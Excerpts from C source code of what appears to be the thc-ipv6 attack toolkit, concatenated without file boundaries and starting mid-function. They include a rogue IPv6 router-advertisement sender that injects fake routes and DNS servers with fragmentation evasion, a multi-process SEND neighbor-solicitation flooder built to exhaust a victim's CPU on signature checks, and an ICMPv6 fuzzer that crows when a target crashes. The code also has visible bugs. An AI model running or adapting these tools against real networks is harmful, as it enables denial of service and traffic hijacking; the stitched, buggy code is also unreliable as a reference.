exit(-1); } ptr = strtok(NULL, ","); } break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if ((argc - optind) != 1) help(argv[0]); if (do_hdr_size) myoff = do_hdr_size; interface = argv[optind]; if (mtu == 0) mtu = thc_get_mtu(interface); if (mac6 == NULL) if ((mac6 = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (ip6 == NULL) if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: ipv6 is not enabled on interface %s\n", interface); exit(-1); } // if (dns == NULL) // dns = thc_resolve6("ff02::fb"); frint = interface; frip6 = ip6; frmac = mac6; frbuf = buf; frbuf2 = buf2; frbuf2len = sizeof(buf2); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); if (llife > 0xffff) llife = 0xffff; llife = (llife | 0xff000000); if (prio == 2) llife = (llife | 0x00080000); else if (prio == 0) llife = (llife | 0x00180000); else if (prio != 1) llife = (llife | 0x00100000); llife = (llife | (flags << 16)); buf[0] = reach / 16777216; buf[1] = (reach % 16777216) / 65536; buf[2] = (reach % 65536) / 256; buf[3] = reach % 256; buf[4] = trans / 16777216; buf[5] = (trans % 16777216) / 65536; buf[6] = (trans % 65536) / 256; buf[7] = trans % 256; // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; i = 16; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, mac6, 6); i += 6; // option prefix, put all in if (pcnt > 0) for (j = 0; j < pcnt; j++) { buf[i++] = 3; buf[i++] = 4; buf[i++] = pbuf[j][0]; // prefix length buf[i++] = 128 + 64; buf[i++] = plife / 16777216; buf[i++] = (plife % 16777216) / 65536; buf[i++] = (plife % 65536) / 256; buf[i++] = plife % 256; buf[i++] = (plife / 2) / 16777216; buf[i++] = ((plife / 2) % 16777216) / 65536; buf[i++] = ((plife / 2) % 65536) / 256; buf[i++] = (plife / 2) % 256; i += 4; // + 4 bytes reserved memcpy(&buf[i], (char *) &pbuf[j][1], 16); i += 16; } // route option, put all in if (rcnt > 0) for (j = 0; j < rcnt; j++) { buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = rbuf[j][0]; // prefix length if (prio == 2) buf[i++] = 0x08; // priority, highest of course else if (prio == 1) buf[i++] = 0x00; else if (prio == 0) buf[i++] = 0x18; else buf[i++] == 0x10; buf[i++] = rlife / 16777216; buf[i++] = (rlife % 16777216) / 65536; buf[i++] = (rlife % 65536) / 256; buf[i++] = rlife % 256; memcpy((char *) &buf[i], (char *) &rbuf[j][1], 16); // network i += 16; } // dns option if (dcnt > 0) for (j = 0; j < dcnt; j++) { buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // reserved buf[i++] = dlife / 16777216; buf[i++] = (dlife % 16777216) / 65536; buf[i++] = (dlife % 65536) / 256; buf[i++] = dlife % 256; memcpy(buf + i, dbuf[j], 16); // dns server i += 16; } // dns searchlist option if (searchlist != NULL) { buf[i] = 31; buf[i + 4] = dlife / 16777216; buf[i + 5] = (dlife % 16777216) / 65536; buf[i + 6] = (dlife % 65536) / 256; buf[i + 7] = dlife % 256; if (searchlist[strlen(searchlist) - 1] == '.') searchlist[strlen(searchlist) - 1] = 0; m = 0; while ((ptr = strstr(searchlist, ".,")) != NULL) { m = strlen(ptr); for (l = 1; l < m; l++) ptr[l - 1] = ptr[l]; ptr[m - 1] = 0; } l = 0; m = 0; j = strlen(searchlist); do { k = 0; ptr = index(&searchlist[l], '.'); if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char*)ptr > (char*)index(&searchlist[l], ','))) { k = 1; ptr = index(&searchlist[l], ','); } if (ptr != NULL) *ptr = 0; n = strlen(&searchlist[l]); buf[i + 8 + m] = n; memcpy(&buf[i + 8 + m + 1], &searchlist[l], n); if (ptr == NULL) l = j; else l += 1 + n; m += 1 + n; if (k || ptr == NULL) m++; // end of domain entry } while (l < j && ptr != NULL); if (m % 8 > 0) m = ( (m / 8) + 1 ) * 8; buf[i + 1] = m/8 + 1; i += m + 8; } frbuflen = i; if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0) return -1; } if (do_frag) { type = NXT_FRAG; for (j = 0; i < do_frag; j++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0) return -1; if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) return -1; frhdr = (thc_ipv6_hdr *) pkt; //printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, do_dst, do_overlap); // init pcap if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } printf("Starting to advertise router (Press Control-C to end) ...\n"); while (sent < to_send || to_send > 255) { if (do_dst) { thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232); } else if (do_overlap) { if (do_overlap == 1) thc_send_as_overlapping_first_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0); else thc_send_as_overlapping_last_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0); } else { thc_send_pkt(interface, pkt, &pkt_len); } while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0); sent++; if (sent != to_send || to_send > 255) sleep(interval); } return 0; // never reached }
/* main function */ int main(int argc, char **argv) { thc_cga_hdr *cga_opt; /* CGA header */ thc_key_t *key; /* public key */ unsigned char *pkt = NULL; /* generic packet space */ unsigned char *testdst6, *dst6, *cga, *cga6, *dev; /* IPv6 addrs */ /* various parts of packets, temporaries */ char advdummy[16], soldummy[24], prefix[8], *addr; /* MAC addresses for testing, attacking */ // unsigned char dsthw[] = "\xff\xff\xff\xff\xff\xff"; // unsigned char tgthw[] = "\x00\x1a\xa0\x41\xf0\x2d"; /*real attack mac */ unsigned char *tgthw; // unsigned char srchw[] = "\xdd\xde\xad\xbe\xef\xdd"; // unsigned char srchwreal[] = "\x00\x11\x11\x32\xb2\x84"; // unsigned char tag[] = "\xdd\xde\xad\xbe\xef\xdd\xdd\xde\xad\xbe\xef\xdd\xbe\xef\xaa\xaa"; int pkt_len = 0; /* packet length */ int flags = 0; /* ICMPv6 flags */ // thc_ipv6_rawmode(0); /* generate my own MAC addresses */ int debug = 0; /* debug switch */ FILE *fp; /* file pointer for reading from /dev/urandom */ unsigned char test[6]; /* randomized mac storage */ int result = 0, pid, status, rc, i; /* exit codes */ int count = 1000000000; if (argc != 5) { printf("original sendpees by willdamn <*****@*****.**>\n"); printf("modified sendpeesMP by Marcin Pohl <*****@*****.**>\nCode based on thc-ipv6\n\n"); printf("usage: %s <inferface> <key_length> <prefix> <victim>\n\n", argv[0]); printf("Send SEND neighbor solicitation messages and make target to verify a lota CGA and RSA signatures\n"); printf("Example: %s eth0 2048 fe80:: fe80::1\n\n", argv[0]); exit(1); } memset(&test, 0, 6); /* set 6 bytes to zero */ fp = fopen("/dev/urandom", "r"); /* set FP to /dev/urandom */ dev = argv[1]; /* read interface from commandline */ addr = thc_resolve6(argv[3]); memcpy(prefix, addr, 8); /* first 8 bytes of sockaddr is prefix */ key = thc_generate_key(atoi(argv[2])); /* EXPENSIVE KEYGEN HERE! */ if (key == NULL) { printf("Couldn't generate key!"); exit(1); } /*makes options and the address*/ cga_opt = thc_generate_cga(prefix, key, &cga); /* cga = thc_resolve6("::"); */ if (cga_opt == NULL) { printf("Error during CGA generation"); exit(1); } tgthw = thc_get_mac(dev, cga, dst6); test[0] = 0; /* set MAC to intel */ test[1] = 170; /* set MAC to intel */ test[2] = 0; /* set MAC to intel */ /* ICMP6 TARGET, IPDST */ if (argv[4] == NULL) dst6 = thc_resolve6("ff02::1"); else dst6 = thc_resolve6(argv[4]); /* set ICMP OPTION SLLA HERE */ memset(advdummy, 'D', sizeof(advdummy)); memset(soldummy, 'D', sizeof(soldummy)); /* set destination IP here */ memcpy(advdummy, dst6, 16); /*dstIP */ memcpy(soldummy, dst6, 16); /*dstIP */ /* fixed values for NS */ soldummy[16] = 1; soldummy[17] = 1; memcpy(&soldummy[18], test, 6); /* SLLA OPTION */ /* ND flags */ flags = ICMP6_NEIGHBORADV_OVERRIDE; /* the forking starts here */ for (i = 0; i < THREAD_NUM; ++i) { pid = fork(); if (pid == 0) { printf("Creating thread %d\n", i); /*randomize MAC here*/ result = fread((char *) &test[3], 1, 3, fp); /* create IPv6 portion */ if ((pkt = thc_create_ipv6(dev, PREFER_LINK, &pkt_len, cga, dst6, 0, 0, 0, 0, 0)) == NULL) { printf("Cannot create IPv6 header\n"); exit(1); } /* create ICMPv6 with SeND options */ if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0x0, flags, soldummy, 24, cga_opt, key, NULL, 0) < 0) { printf("Cannot add SEND options\n"); exit(1); } free(cga_opt); if (debug) { printf("%02x:%02x:%02x:%02x:%02x:%02x\n", test[0], test[1], test[2], test[3], test[4], test[5]); // printf("%02x:%02x:%02x:%02x:%02x:%02x\n", dsthw[0], dsthw[1], dsthw[2], dsthw[3], dsthw[4], dsthw[5]); fflush(stdout); } /* attach the IPv6+ICMPv6+SeND to an Ethernet frame with random MAC */ if ((result = thc_generate_pkt(dev, test, tgthw, pkt, &pkt_len)) < 0) { fprintf(stderr, "Couldn't generate ipv6 packet, error num %d !\n", result); exit(1); } printf("Sending %d...", i); fflush(stdout); while (count) { /* send many packets */ thc_send_pkt(dev, pkt, &pkt_len); --count; } exit(1); } } wait(&status); }
int main(int argc, char *argv[]) { unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL; unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "icmp6 and dst "; int rawmode = 0, test_start = 0, fragment = 0, alert = 0, sroute = 0; int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0; int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0; int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1; int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0; char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL; unsigned char buf[256], buf2[100], buf3[16]; unsigned short int *sip; pcap_t *p; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "123456789rxt:T:p:FSDHRIJan:")) >= 0) { switch (i) { case '1': do_type = DO_PING; break; case '2': do_type = DO_NEIGHSOL; break; case '3': do_type = DO_NEIGHADV; break; case '4': do_type = DO_RA; break; case '5': do_type = DO_MLD_REP; break; case '6': do_type = DO_MLD_DONE; break; case '7': do_type = DO_MLD_QUERY; wait = 0xff0000; break; case '8': do_type = DO_MLD2_REPORT; break; case '9': do_type = DO_MLD2_QUERY; wait = 0xff0000; break; case 'r': thc_ipv6_rawmode(1); rawmode = 1; test_pos -= 14; offset -= 14; break; case 't': test_start = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'p': ping = atoi(optarg); break; case 'a': do_alive = 0; break; case 'S': sroute = 1; break; case 'n': no_send = atoi(optarg); break; case 'F': fragment = 1; break; case 'R': alert = 1; break; case 'D': destination = 1; break; case 'H': hopbyhop = 1; break; case 'J': jumbo = 1; break; case 'I': header = 1; break; case 'x': extend = 1; break; } } if (argc - optind < 2) { fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n"); exit(-1); } interface = argv[optind]; if (rawmode == 0 && (srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface); exit(-1); } if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (do_type != DO_PING) { mcast6 = thc_resolve6(argv[optind + 1]); if (do_type == DO_NEIGHSOL) { dst6 = thc_resolve6("ff02::0001:ff00:0000"); memcpy(dst6 + 13, mcast6 + 13, 3); } else dst6 = thc_resolve6("ff02::1"); } else { dst6 = thc_resolve6(argv[optind + 1]); } if (argv[optind + 1] != NULL) real_dst6 = thc_resolve6(argv[optind + 1]); if (interface == NULL || argv[optind + 1] == NULL) { printf("Error: interface and target-ipv6-address are mandatory command line options\n"); exit(-1); } if (ping < 1 || test_end < test_start) { printf("dont f**k up the command line options!\n"); exit(-1); } if (argv[optind + 2] != NULL) someaddr6 = thc_resolve6(argv[optind + 2]); if (argc - optind > 3) { printf("Error: too many command line options\n"); exit(-1); } if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if (rawmode) srcmac = mac; if (do_type == DO_PING) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); strcat(string, thc_ipv62notation(src6)); if (sroute) { if (someaddr6 != NULL) routers[0] = someaddr6; else routers[0] = dst6; routers[1] = NULL; } setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); dns = thc_resolve6("FF02::FB"); route6 = thc_resolve6("2a01::"); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } // ping before to check if it works if (do_alive) if (check_alive(p, interface, src6, real_dst6) == 0) { fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]); exit(-1); } // generate basic packet strcpy(fuzzbuf, fuzztype_ether); if ((pkt = thc_create_ipv6(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (header) strcat(fuzzbuf, fuzztype_ip6); else strcat(fuzzbuf, fuzztype_ip6no); if (alert || hopbyhop || jumbo) { memset(buf2, 0, sizeof(buf2)); i = 0; if (alert) { buf2[i++] = 5; buf2[i++] = 2; i += 2; strcat(fuzzbuf, ".F.F"); } if (jumbo) { buf2[i++] = 0xc2; buf2[i++] = 4; buf2[i++] = 'J'; // lookup code buf2[i++] = 'J'; buf2[i++] = 'J'; buf2[i++] = 'J'; strcat(fuzzbuf, ".FBBBB"); } if (hopbyhop) { memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } if (sroute) { if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; else { strcat(fuzzbuf, "FFFFBBBB................"); offset += 24; } } if (fragment) { frag_offset = offset; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0) return -1; else { strcat(fuzzbuf, "FFWW.."); offset += 8; } } if (destination) { memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; i = 0; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } memset(buf, 0, sizeof(buf)); if (header) strcat(fuzzbuf, fuzztype_icmp6); else strcat(fuzzbuf, fuzztype_icmp6no); switch (do_type) { case DO_PING: if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ping); break; case DO_NEIGHSOL: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, mcast6, 16); buf[16] = 1; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ns); break; case DO_NEIGHADV: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, src6, 16); buf[16] = 2; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6na); break; case DO_RA: // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); if (someaddr6 != NULL) memcpy(&buf[32], someaddr6, 16); else memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x00; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word i += 16; // 56-71 address, all zeros for default // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; if (someaddr6 != NULL) memcpy(buf + i, someaddr6, 16); // dns server else memcpy(buf + i, dns, 16); // dns server i += 16; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ra); break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld); break; case DO_MLD2_QUERY: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); buf[16] = 7; buf[17] = 120; buf[19] = 3; memcpy(buf + 20, dst6, 16); memcpy(buf + 36, buf, 16); if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2que); break; case DO_MLD2_REPORT: for (i = 0; i < 3; i++) { buf[0 + 68 * i] = 1 + i * 2 - i / 2; //include new++, generates 1, 3 and 4 buf[3 + 68 * i] = 3; //3 sources buf[4 + 68 * i] = 0xff; buf[5 + 68 * i] = 0x02; buf[18 + 68 * i] = 0x82 + i % 256; buf[19 + 68 * i] = 0xff; memcpy(buf + 20 + 68 * i, src6, 16); buf[36 + 68 * i] = 0xfe; buf[37 + 68 * i] = 0x80; buf[46 + 68 * i] = 0xf0; if (someaddr6 != NULL) memcpy(buf + 52 + 68 * i, someaddr6, 16); } if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2rep); break; default: fprintf(stderr, "ERROR: Mode not implemented yet!\n"); exit(-1); } if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (jumbo) { i = 0; j = 1; while (i < hdr->pkt_len + 4 && j) { if (hdr->pkt[i] == 'J') if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0) j = 0; i++; } if (j) { fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n"); exit(-1); } else i--; hdr->pkt[i] = 0; hdr->pkt[i + 1] = 0; hdr->pkt[i + 2] = hdr->pkt[4 + 14 - 14 * rawmode]; hdr->pkt[i + 3] = hdr->pkt[5 + 14 - 14 * rawmode]; hdr->pkt[4 + 14 - 14 * rawmode] = 0; hdr->pkt[5 + 14 - 14 * rawmode] = 0; } if (extend) for (i = 0; i < strlen(fuzzbuf); i++) if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F') fuzzbuf[i] = 'X'; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end); //printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; //printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1], 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *) &hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); exit(-1); break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { // fill icmp id+seq and unique buffer with test case number if (fragment) memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current, 4); switch (do_type) { case DO_PING: for (i = 0; i < 4 + 1; i++) memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current, 4); break; case DO_NEIGHSOL: case DO_NEIGHADV: break; // do nothing for these case DO_RA: memcpy(hdr->pkt + offset + 0x62, (char *) &test_current, 4); // prefix update memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update if (rawmode == 0) memcpy(hdr->pkt + 8, (char *) &test_current, 4); // srcmac update memcpy(hdr->pkt + offset + 0x72, (char *) &test_current, 4); // srcmac update memcpy(hdr->pkt + 0x10 + 14 - 14 * rawmode, (char *) &test_current, 4); // srcip update memcpy(hdr->original_src, hdr->pkt + 8 + 14 - 14 * rawmode, 16); // srcip update for checksum break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: case DO_MLD2_QUERY: memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current, 4); break; case DO_MLD2_REPORT: //??? XXX TODO CHECK memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current, 4); memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current, 4); memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current, 4); break; default: fprintf(stderr, "ERROR!!!\n"); exit(-1); } // regenerate checksum if (do_type == do_type) { // maybe for later non-icmp stuff hdr->pkt[offset + 56] = 0; hdr->pkt[offset + 57] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 56] = i / 256; hdr->pkt[offset + 57] = i % 256; } // send packet for (k = 0; k < no_send; k++) { if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; usleep(1); } printf("."); usleep(250); // if ping, check ping again if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p, interface, src6, real_dst6) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current); exit(-1); } } //else printf("NOT SENT - NOT IN TEST LIST\n"); // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } //else printf("NOT SENT!\n"); } printf("\n"); // ping afterwards to check if it worked if (do_alive) { if (check_alive(p, interface, src6, real_dst6) == 0) printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos); else printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]); } thc_pcap_close(p); return 0; }